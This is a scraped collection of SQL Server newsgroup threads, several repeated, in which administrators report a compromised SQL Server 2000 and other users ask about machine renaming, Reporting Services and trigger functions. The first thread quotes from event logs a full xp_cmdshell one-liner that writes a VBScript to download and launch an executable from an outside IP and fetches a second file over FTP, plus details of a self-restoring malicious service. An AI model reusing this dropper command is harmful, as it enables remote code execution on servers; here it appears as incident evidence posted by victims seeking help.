instances of CMD.exe and FTP.exe had been running under the SYSTEM account
but I didn't get the parameters like you did.
We did however find a bunch of "84785_mssql[x].exe" (where x is a number) in
the temporary internet files directory of the Default User profile. The
files were all 258 KB in size. We found a new service had been added to the
machine, "Microsoft Agent", that was running
"%system%\system32\dllcache\BNCHOST.exe" (which is a protected system folder)
but I haven't been able to find any info on it yet. BNCHOST.exe is also 258
KB and when deleted, it eventually comes back. It just so happens that the
modify date on the new BNCHOST.exe always matches the date on one of the
84785_mssql[x].exe files. I popped both files open with a hex editor and
they are definitely the same file. The file starts with "MZLoveboom PE L
ByDwing!" Google searches showed other MZ... files ByDwing but nothing
exactly the same.
Once we disabled the "Microsoft Agent" service, the performance problems
stopped and the machine has remained fairly stable. We aren't out of the
woods though, because we still don't know what happened and as of four hours
ago, BNCHOST.exe was still regenerating itself.
I will post more as I see it. Let me know if you see the same "Microsoft
Agent" service, BNCHOST.exe or 84785_mssql[x].exe in your Temporary Internet
Files.
Good luck!
"bass_ua" wrote:

> I have discovered recently that the sql server 2000 sp4 has spawned a lot of
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&ech o Set HTTPGET =
> CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data =
> CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
> adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>
|||Hi all, I'm fighting with exactly the same problem on my server. I've
tried everything I know without success. Do someone have an idea about
solving the problem ? Thanks
Marzio
Marzio Molinari
Marzio Molinari's Profile: http://unixadmintalk.com/798
View this thread: http://unixadmintalk.com/showthread.php?t=254838

machine slow performance

I have discovered recently that the sql server 2000 sp4 has spawned a lot of
cmd.exe processes.
Event viewer is full of events like:
8128 :
Using 'xplog70.dll' version '2000.80.760' to execute extended stored
procedure 'xp_cmdshell'.
the parameter cmd,exe was called:
C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET = CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data = CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.
>>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const
adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type = adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
now i'm out of mind how to stop this.
Can anyone help me?SQL Server does not do this by itself. It is either a job or some application that does this. I
suggest you use Profiler to track down who is calling these xp_cmdshell executions.
--
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"bass_ua" <u30195@.uwe> wrote in message news:6ab4e8b03613c@.uwe...
>I have discovered recently that the sql server 2000 sp4 has spawned a lot of
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = ">c:/1.vbs&echo">http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET => CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data => CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.
>>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type => adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>|||"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> SQL Server does not do this by itself. It is either a job or some
> application that does this. I suggest you use Profiler to track down who
> is calling these xp_cmdshell executions.
'TRACK DOWN' ...is this a police action'
Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
You wanna come and get me? You gonna bring the MVP brigade? Armed?
Well I'll be waiting for ya. I'm not frightened by the shell game.
-:)
best wishes for the holidays,
steve|||LOL
Bring it on, Steve. ;-)
> Ok, Rac uses xp_cmdshell and regularly.
Ahh, I didn't know that. You think this one was RAC? I tend to be suspicious when I see a lot of
xp_cmdshell calls, but that it not the same as saying that there aren't good/smart/valid reasons to
use it.
> best wishes for the holidays,
And the same to you! :-)
--
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Steve Dassin" <steve@.nospamrac4sql.net> wrote in message
news:uK8aDjwHHHA.1264@.TK2MSFTNGP06.phx.gbl...
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in message
> news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
>> SQL Server does not do this by itself. It is either a job or some application that does this. I
>> suggest you use Profiler to track down who is calling these xp_cmdshell executions.
> 'TRACK DOWN' ...is this a police action'
> Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
> You wanna come and get me? You gonna bring the MVP brigade? Armed?
> Well I'll be waiting for ya. I'm not frightened by the shell game.
>
> -:)
> best wishes for the holidays,
> steve
>|||We have a SQL server exhibiting odd behavior too with the trouble starting on
Monday. We are also seeing the same xpCMevents in our logs. Multiple
instances of CMD.exe and FTP.exe had been running under the SYSTEM account
but I didn't get the parameters like you did.
We did however find a bunch of "84785_mssql[x].exe" (where x is a number) in
the temporary internet files directory of the Default User profile. The
files were all 258 KB in size. We found a new service had been added to the
machine, "Microsoft Agent", that was running
"%system%\system32\dllcache\BNCHOST.exe" (which is a protected system folder)
but I haven't been able to find any info on it yet. BNCHOST.exe is also 258
KB and when deleted, it eventually comes back. It just so happens that the
modify date on the new BNCHOST.exe always matches the date on one of the
84785_mssql[x].exe files. I popped both files open with a hex editor and
they are definitely the same file. The file starts with "MZLoveboom PE L
ByDwing!" Google searches showed other MZ... files ByDwing but nothing
exactly the same.
Once we disabled the "Microsoft Agent" service, the performance problems
stopped and the machine has remained fairly stable. We aren't out of the
woods though, because we still don't know what happened and as of four hours
ago, BNCHOST.exe was still regenerating itself.
I will post more as I see it. Let me know if you see the same "Microsoft
Agent" service, BNCHOST.exe or 84785_mssql[x].exe in your Temporary Internet
Files.
Good luck!
"bass_ua" wrote:
> I have discovered recently that the sql server 2000 sp4 has spawned a lot of
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = ">c:/1.vbs&echo">http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET => CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data => CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.
> >>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type => adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>|||Hi all, I'm fighting with exactly the same problem on my server. I'v
tried everything I know without success. Do someone have an idea abou
solving the problem ? Thanks
Marzi
--
Marzio Molinar
----
Marzio Molinari's Profile: http://unixadmintalk.com/79
View this thread: http://unixadmintalk.com/showthread.php?t=25483

machine sid & name

What may be the consequence of changing the name and SID of a machine
running a SQL Server 2005?
Thank you.
Hello,
After changing the machine name you could drop and create the server with
new name using below system procs...
EXEC sp_dropserver '<old_name>'
go
EXEC sp_addserver '<new_name>', 'local'
go
You need to replace <old_name> above with the old machine name and
<new_name> with the new machine name. After this stop and start the
SQL Server and dependant services.
Are you talking about the Security ID (SID) in sql server side? Can you
please give us more info on that...
Thanks
Hari
"bill tie" <billtie@.discussions.microsoft.com> wrote in message
news:7DDFC773-0F88-4B96-BD93-72C48356C0D9@.microsoft.com...
> What may be the consequence of changing the name and SID of a machine
> running a SQL Server 2005?
> Thank you.
>
|||For testing various scenarios (not only SQL Server) I have one image of the
entire system that I simply clone. If you're familiar with virtual machines,
this may ring the bell.
In a network, there are some rules to obey. As a precaution, whenever I
create a new virtual machine, I change its name and security identifier.
This change, however, may have severe consequences, depending on what's
already installed on the machine. I wonder whether such a change may affect
the SQL Server if and when it's pre-installed on the machine.
Suppose the current machine name is "sql2k5sp2". I change the name to
"newSql2k5", and restart the machine. Will your EXECs change the server's
name accordingly? Will the server work aftewards as usual?

machine sid & name

What may be the consequence of changing the name and SID of a machine
running a SQL Server 2005?
Thank you.Hello,
After changing the machine name you could drop and create the server with
new name using below system procs...
EXEC sp_dropserver '<old_name>'
go
EXEC sp_addserver '<new_name>', 'local'
go
You need to replace <old_name> above with the old machine name and
<new_name> with the new machine name. After this stop and start the
SQL Server and dependant services.
Are you talking about the Security ID (SID) in sql server side? Can you
please give us more info on that...
Thanks
Hari
"bill tie" <billtie@.discussions.microsoft.com> wrote in message
news:7DDFC773-0F88-4B96-BD93-72C48356C0D9@.microsoft.com...
> What may be the consequence of changing the name and SID of a machine
> running a SQL Server 2005?
> Thank you.
>|||For testing various scenarios (not only SQL Server) I have one image of the
entire system that I simply clone. If you're familiar with virtual machines,
this may ring the bell.
In a network, there are some rules to obey. As a precaution, whenever I
create a new virtual machine, I change its name and security identifier.
This change, however, may have severe consequences, depending on what's
already installed on the machine. I wonder whether such a change may affect
the SQL Server if and when it's pre-installed on the machine.
Suppose the current machine name is "sql2k5sp2". I change the name to
"newSql2k5", and restart the machine. Will your EXECs change the server's
name accordingly? Will the server work aftewards as usual?

machine sid & name

What may be the consequence of changing the name and SID of a machine
running a SQL Server 2005?
Thank you.Hello,
After changing the machine name you could drop and create the server with
new name using below system procs...
EXEC sp_dropserver '<old_name>'
go
EXEC sp_addserver '<new_name>', 'local'
go
You need to replace <old_name> above with the old machine name and
<new_name> with the new machine name. After this stop and start the
SQL Server and dependant services.
Are you talking about the Security ID (SID) in sql server side? Can you
please give us more info on that...
Thanks
Hari
"bill tie" <billtie@.discussions.microsoft.com> wrote in message
news:7DDFC773-0F88-4B96-BD93-72C48356C0D9@.microsoft.com...
> What may be the consequence of changing the name and SID of a machine
> running a SQL Server 2005?
> Thank you.
>|||For testing various scenarios (not only SQL Server) I have one image of the
entire system that I simply clone. If you're familiar with virtual machines
,
this may ring the bell.
In a network, there are some rules to obey. As a precaution, whenever I
create a new virtual machine, I change its name and security identifier.
This change, however, may have severe consequences, depending on what's
already installed on the machine. I wonder whether such a change may affect
the SQL Server if and when it's pre-installed on the machine.
Suppose the current machine name is "sql2k5sp2". I change the name to
"newSql2k5", and restart the machine. Will your EXECs change the server's
name accordingly? Will the server work aftewards as usual?

Machine Resources

is SQL Server Reporting Services particularly demanding on machine resources
? I know, it's rather broad question, but your general input would be
appreciated ...
Thanks ....Yes, it's rather broad. This might help:
http://blogs.msdn.com/tudortr/archive/2004/06/28/167969.aspx.
--
Ravi Mumulla (Microsoft)
SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Liz" <liz@.tiredofspam.com> wrote in message
news:Fi8Vc.21969618$Id.3640290@.news.easynews.com...
> is SQL Server Reporting Services particularly demanding on machine
resources
> ? I know, it's rather broad question, but your general input would be
> appreciated ...
> Thanks ....
>
>

Machine Recommendation

Hello all,
Can anyone recommend some dependable machines for running Microsoft
SQL Server 2000? This machine may be hit with as many as 75000 to
100000 simultaneous database requests (stored procedures, trigger
functions) at a time so I'm looking to put this database on a good,
solid machine. Thanks in advance.
AlanRefer to this url
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/prodtechn
ol/sql/maintain/operate/opsguide/sqlops6.asp
- Vishal
"aminnis" <alanminnis@.yahoo.com> wrote in message
news:eaef7f31.0309151608.36284af4@.posting.google.com...
> Hello all,
> Can anyone recommend some dependable machines for running Microsoft
> SQL Server 2000? This machine may be hit with as many as 75000 to
> 100000 simultaneous database requests (stored procedures, trigger
> functions) at a time so I'm looking to put this database on a good,
> solid machine. Thanks in advance.
> Alan

Machine Rebuild - restored ReportServer database

I recently had to rebuild my local machine. As such, I backed-up all
of the relavent local databases that I needed (including the RS dbs).
After the rebuild, I have attempted to connect my new instance of RS to
a restored version of the ReportServer database. The instance
initialized after I got the encryption keys worked out (finally
remembered the password), however, when trying to run any saved report
(or any function other than directory browsing for that matter), I get
an error of:
The feature: "Scale-out deployment" is not supported in this edition of
Reporting Services. (rsOperationNotSupported) (rsRPCError).
Important things to know about my install:
1. My machine name is now different than before.
2. The orginal SQL instance was named, now it is the default
3. Was, and still am, running the Standard edition
I know that the scale-out deployment is not available in the Standard
edition. However, the install is completely local. My only thought is
that the restored database has kept the original machine name and/or
SQL instance name somewhere and RS is comparing against that. Is there
a way to correct this or am I up a creek?
Any help would be greatly appreciated - I am rather new to RS . . .
Thanks,
ScottI will save someone some time by stating that I was able to:
1. Save the report and model definitions from the original restored
database locally
2. Repointed my RS instance to the newly setup ReportServer database
3. Upload the definitions
4. Recreate datasources
5. Reconfigure the models to point a new data sources.
The reports came up ok - a little bit of a hassle, but got everything
working. Fortunately, just local development and I only had a couple
of reports.
Thanks,
Scott

Machine name works and FQDN fails

Short version:
http://machinename/reports works as does http://machinename/reportserver
http://FQDN/reports repeatedly requests authentication and then fails.
Longer version:
Everything was working perfectly. I attempted to change to Sharepoint
integrated mode from native (after giving up on this - different thread) I
switched back to native mode.
Everything works when I access using machine name, but the FQDN now causes a
repeated request for authentication (does not matter which server or desktop
the request comes from or which user account) the request fails.
This worked before my adventure into sharepoint integration without a
request for authentication, but I can't figure out what I changed
(I broke it and can't fix it) - Please help.
--
Fredrick A. Zilz
Director IT
InterHealth N.I.I am using networkservice account as the webservice identity of my
application pools. So I just needed to update my SPN for the HTTP service on
my Report server
setspn -A HTTP/host.domain.com domain\machinename
--
Fredrick A. Zilz
Director IT
InterHealth N.I.
"Fred Zilz" wrote:
> Short version:
> http://machinename/reports works as does http://machinename/reportserver
> http://FQDN/reports repeatedly requests authentication and then fails.
> Longer version:
> Everything was working perfectly. I attempted to change to Sharepoint
> integrated mode from native (after giving up on this - different thread) I
> switched back to native mode.
> Everything works when I access using machine name, but the FQDN now causes a
> repeated request for authentication (does not matter which server or desktop
> the request comes from or which user account) the request fails.
> This worked before my adventure into sharepoint integration without a
> request for authentication, but I can't figure out what I changed
> (I broke it and can't fix it) - Please help.
> --
> Fredrick A. Zilz
> Director IT
> InterHealth N.I.

Machine Name In Trigger

Is it possible to get the machine name in a trigger so that it can be stored
in a field?
Thanks.Check out HOST_NAME() in the BOL.
Tom
----
Thomas A. Moreau, BSc, PhD, MCSE, MCDBA
SQL Server MVP
Columnist, SQL Server Professional
Toronto, ON Canada
www.pinnaclepublishing.com
.
"Neil" <njones@.pxdy.com> wrote in message
news:N1vTd.5219$873.4670@.newsread3.news.pas.earthlink.net...
Is it possible to get the machine name in a trigger so that it can be stored
in a field?
Thanks.|||Great. Thanks.
"Tom Moreau" <tom@.dont.spam.me.cips.ca> wrote in message
news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...
> Check out HOST_NAME() in the BOL.
> --
> Tom
> ----
> Thomas A. Moreau, BSc, PhD, MCSE, MCDBA
> SQL Server MVP
> Columnist, SQL Server Professional
> Toronto, ON Canada
> www.pinnaclepublishing.com
> .
> "Neil" <njones@.pxdy.com> wrote in message
> news:N1vTd.5219$873.4670@.newsread3.news.pas.earthlink.net...
> Is it possible to get the machine name in a trigger so that it can be
> stored
> in a field?
> Thanks.
>|||Any function for getting the current Windows user?
Thanks!
"Tom Moreau" <tom@.dont.spam.me.cips.ca> wrote in message
news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...
> Check out HOST_NAME() in the BOL.
> --
> Tom
> ----
> Thomas A. Moreau, BSc, PhD, MCSE, MCDBA
> SQL Server MVP
> Columnist, SQL Server Professional
> Toronto, ON Canada
> www.pinnaclepublishing.com
> .
> "Neil" <njones@.pxdy.com> wrote in message
> news:N1vTd.5219$873.4670@.newsread3.news.pas.earthlink.net...
> Is it possible to get the machine name in a trigger so that it can be
> stored
> in a field?
> Thanks.
>|||Check if this helps:
SELECT @.@.SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User Name'
HTH,
Vinod Kumar
MCSE, DBA, MCAD, MCSD
http://www.extremeexperts.com
Books Online for SQL Server SP3 at
http://www.microsoft.com/sql/techin.../2000/books.asp
"Neil" <njones@.pxdy.com> wrote in message
news:6_xTd.5362$873.4937@.newsread3.news.pas.earthlink.net...
> Any function for getting the current Windows user?
> Thanks!
>
> "Tom Moreau" <tom@.dont.spam.me.cips.ca> wrote in message
> news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...
>|||Here's what I got:
ID Login Name
User Name
-- ---
---
----
----9 bo(1 row(s) af
fected)I was looking for the Windows account that's currently logged in, if
that'spossible.Thanks."Vin
od Kumar" <vinodk_sct@.NO_SPAM_hotmail.com> wrote in messagenews:cvmtl9$ufs$1@.news01.int
el.com...> Check if this helps:>> SELECT @.@.SPID AS 'ID', SYSTEM_USER AS 'Login Name', U
SER AS 'User Name'>> --> HTH,> Vinod Kumar> MCSE, DBA, MCAD, MCSD> http://www.ext[
/url]
.../2000/books.asp>> "Neil" <njones@.pxdy.com> wrote in mess
age> news:6_xTd.5362$873.4937@.newsread3.news.pas.earthlink.net...>> Any func
tion for getting the
current Windows user?>>>> Thanks!>>>>>> "Tom Moreau" <tom@.dont.spam.me.cips.
ca> wrote in message>> news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...>> > Che
ck out HOST_NAME() in the BOL.>> >>> > -->> > Tom>> >>> > --
--
-->> > Thomas A. Moreau, BSc, PhD, MCSE, MCDBA>> > SQL Server MVP>> > Columnist,
SQL Server Professional>> > Toronto, ON Canada>> > [url]www.pinnaclepublishing.com[/
url]>> > .>> > "Neil" <njones@.pxdy.com> wrote in message>> > news:N1vTd.5219
$873.4670@.newsre
ad3.news.pas.earthlink.net...>> > Is it possible to get the machine name in
a trigger so that it can be>> > stored>> > in a field?>> >>> > Thanks.>> >>>
>>>>>>>|||try suser_sname()
dean
"Neil" <njones@.pxdy.com> wrote in message
news:wGAUd.7684$873.5789@.newsread3.news.pas.earthlink.net...
> Here's what I got:
> ID Login Name
> User Name
> -- ---
---
> ----
----9 bo(1 row(s)
affected)I was looking for the Windows account that's currently logged in,
if that'spossible.Thanks."Vinod Kumar" <vinodk_sct@.NO_SPAM_hotmail.com>
wrote in messagenews:cvmtl9$ufs$1@.news01.intel.com...> Check if this
helps:>> SELECT @.@.SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User
Name'>> --> HTH,> Vinod Kumar> MCSE, DBA, MCAD, MCSD>
http://www.extremeexperts.com>> Books Online for SQL Server SP3 at>
http://www.microsoft.com/sql/techin.../2000/books.asp>> "Neil"
<njones@.pxdy.com> wrote in message>
news:6_xTd.5362$873.4937@.newsread3.news.pas.earthlink.net...>> Any function
for getting the current Windows user?>>>> Thanks!>>>>>> "Tom Moreau"
<tom@.dont.spam.me.cips.ca> wrote in message>>
news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...>> > Check out HOST_NAME() in
the BOL.>> >>> > -->> > Tom>> >>>
> ---->> > Thomas A. Moreau,
BSc, PhD, MCSE, MCDBA>> > SQL Server MVP>> > Columnist, SQL Server
Professional>> > Toronto, ON Canada>> > www.pinnaclepublishing.com>> > .>>
> "Neil" <njones@.pxdy.com> wrote in message>> >
news:N1vTd.5219$873.4670@.newsread3.news.pas.earthlink.net...>> > Is it
possible to get the machine name in a trigger so that it can be>> > stored>>
> in a field?>> >>> > Thanks.>> >>> >>>>>>>
>|||Neil (njones@.pxdy.com) writes:
> Here's what I got:
> ID Login Name
> User Name
>----
>9 bo(1 row(s) affected)
>I was looking for the Windows account that's currently logged in, if
>that'spossible.
It appears that the user has logged in through SQL authentication. In
that case you cannot retrieve the Windows user. In fact, the user
may not even have been authenticated through Windows - he might be
accessing SQL Server from a Unix box.
Erland Sommarskog, SQL Server MVP, esquel@.sommarskog.se
Books Online for SQL Server SP3 at
http://www.microsoft.com/sql/techin.../2000/books.asp|||Still get "sa".
"Dean" <dvitner@.nospam.gmail.com> wrote in message
news:uiV8mSZHFHA.2420@.TK2MSFTNGP14.phx.gbl...
> try suser_sname()
> dean
> "Neil" <njones@.pxdy.com> wrote in message
> news:wGAUd.7684$873.5789@.newsread3.news.pas.earthlink.net...
> ---
> ----9 bo(1
> row(s)
> affected)I was looking for the Windows account that's currently logged in,
> if that'spossible.Thanks."Vinod Kumar" <vinodk_sct@.NO_SPAM_hotmail.com>
> wrote in messagenews:cvmtl9$ufs$1@.news01.intel.com...> Check if this
> helps:>> SELECT @.@.SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User
> Name'>> --> HTH,> Vinod Kumar> MCSE, DBA, MCAD, MCSD>
> http://www.extremeexperts.com>> Books Online for SQL Server SP3 at>
> http://www.microsoft.com/sql/techin.../2000/books.asp>> "Neil"
> <njones@.pxdy.com> wrote in message>
> news:6_xTd.5362$873.4937@.newsread3.news.pas.earthlink.net...>> Any
> function
> for getting the current Windows user?>>>> Thanks!>>>>>> "Tom Moreau"
> <tom@.dont.spam.me.cips.ca> wrote in message>>
> news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...>> > Check out HOST_NAME() in
> the BOL.>> >>> > -->> > Tom>> >>>
> BSc, PhD, MCSE, MCDBA>> > SQL Server MVP>> > Columnist, SQL Server
> Professional>> > Toronto, ON Canada>> > www.pinnaclepublishing.com>> >
> .>>
> news:N1vTd.5219$873.4670@.newsread3.news.pas.earthlink.net...>> > Is it
> possible to get the machine name in a trigger so that it can be>> >
> stored>>
>|||I was hoping there was a way to use a Windows API call or other, even with
SQL authentication.
Neil
"Erland Sommarskog" <esquel@.sommarskog.se> wrote in message
news:Xns960C1AF7BCEYazorman@.127.0.0.1...
> Neil (njones@.pxdy.com) writes:
> It appears that the user has logged in through SQL authentication. In
> that case you cannot retrieve the Windows user. In fact, the user
> may not even have been authenticated through Windows - he might be
> accessing SQL Server from a Unix box.
> --
> Erland Sommarskog, SQL Server MVP, esquel@.sommarskog.se
> Books Online for SQL Server SP3 at
> http://www.microsoft.com/sql/techin.../2000/books.asp

Machine Name In Trigger

Is it possible to get the machine name in a trigger so that it can be stored
in a field?

Thanks.Check out HOST_NAME() in the BOL.

--
Tom

----------------
Thomas A. Moreau, BSc, PhD, MCSE, MCDBA
SQL Server MVP
Columnist, SQL Server Professional
Toronto, ON Canada
www.pinnaclepublishing.com
..
"Neil" <njones@.pxdy.com> wrote in message
news:N1vTd.5219$873.4670@.newsread3.news.pas.earthl ink.net...
Is it possible to get the machine name in a trigger so that it can be stored
in a field?

Thanks.|||Great. Thanks.

"Tom Moreau" <tom@.dont.spam.me.cips.ca> wrote in message
news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...
> Check out HOST_NAME() in the BOL.
> --
> Tom
> ----------------
> Thomas A. Moreau, BSc, PhD, MCSE, MCDBA
> SQL Server MVP
> Columnist, SQL Server Professional
> Toronto, ON Canada
> www.pinnaclepublishing.com
> .
> "Neil" <njones@.pxdy.com> wrote in message
> news:N1vTd.5219$873.4670@.newsread3.news.pas.earthl ink.net...
> Is it possible to get the machine name in a trigger so that it can be
> stored
> in a field?
> Thanks.|||Any function for getting the current Windows user?

Thanks!

"Tom Moreau" <tom@.dont.spam.me.cips.ca> wrote in message
news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...
> Check out HOST_NAME() in the BOL.
> --
> Tom
> ----------------
> Thomas A. Moreau, BSc, PhD, MCSE, MCDBA
> SQL Server MVP
> Columnist, SQL Server Professional
> Toronto, ON Canada
> www.pinnaclepublishing.com
> .
> "Neil" <njones@.pxdy.com> wrote in message
> news:N1vTd.5219$873.4670@.newsread3.news.pas.earthl ink.net...
> Is it possible to get the machine name in a trigger so that it can be
> stored
> in a field?
> Thanks.|||Check if this helps:

SELECT @.@.SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User Name'

--
HTH,
Vinod Kumar
MCSE, DBA, MCAD, MCSD
http://www.extremeexperts.com

Books Online for SQL Server SP3 at
http://www.microsoft.com/sql/techin.../2000/books.asp

"Neil" <njones@.pxdy.com> wrote in message
news:6_xTd.5362$873.4937@.newsread3.news.pas.earthl ink.net...
> Any function for getting the current Windows user?
> Thanks!
>
> "Tom Moreau" <tom@.dont.spam.me.cips.ca> wrote in message
> news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...
> > Check out HOST_NAME() in the BOL.
> > --
> > Tom
> > ----------------
> > Thomas A. Moreau, BSc, PhD, MCSE, MCDBA
> > SQL Server MVP
> > Columnist, SQL Server Professional
> > Toronto, ON Canada
> > www.pinnaclepublishing.com
> > .
> > "Neil" <njones@.pxdy.com> wrote in message
> > news:N1vTd.5219$873.4670@.newsread3.news.pas.earthl ink.net...
> > Is it possible to get the machine name in a trigger so that it can be
> > stored
> > in a field?
> > Thanks.|||Here's what I got:

ID Login Name
User Name
-- ---------------------------------------
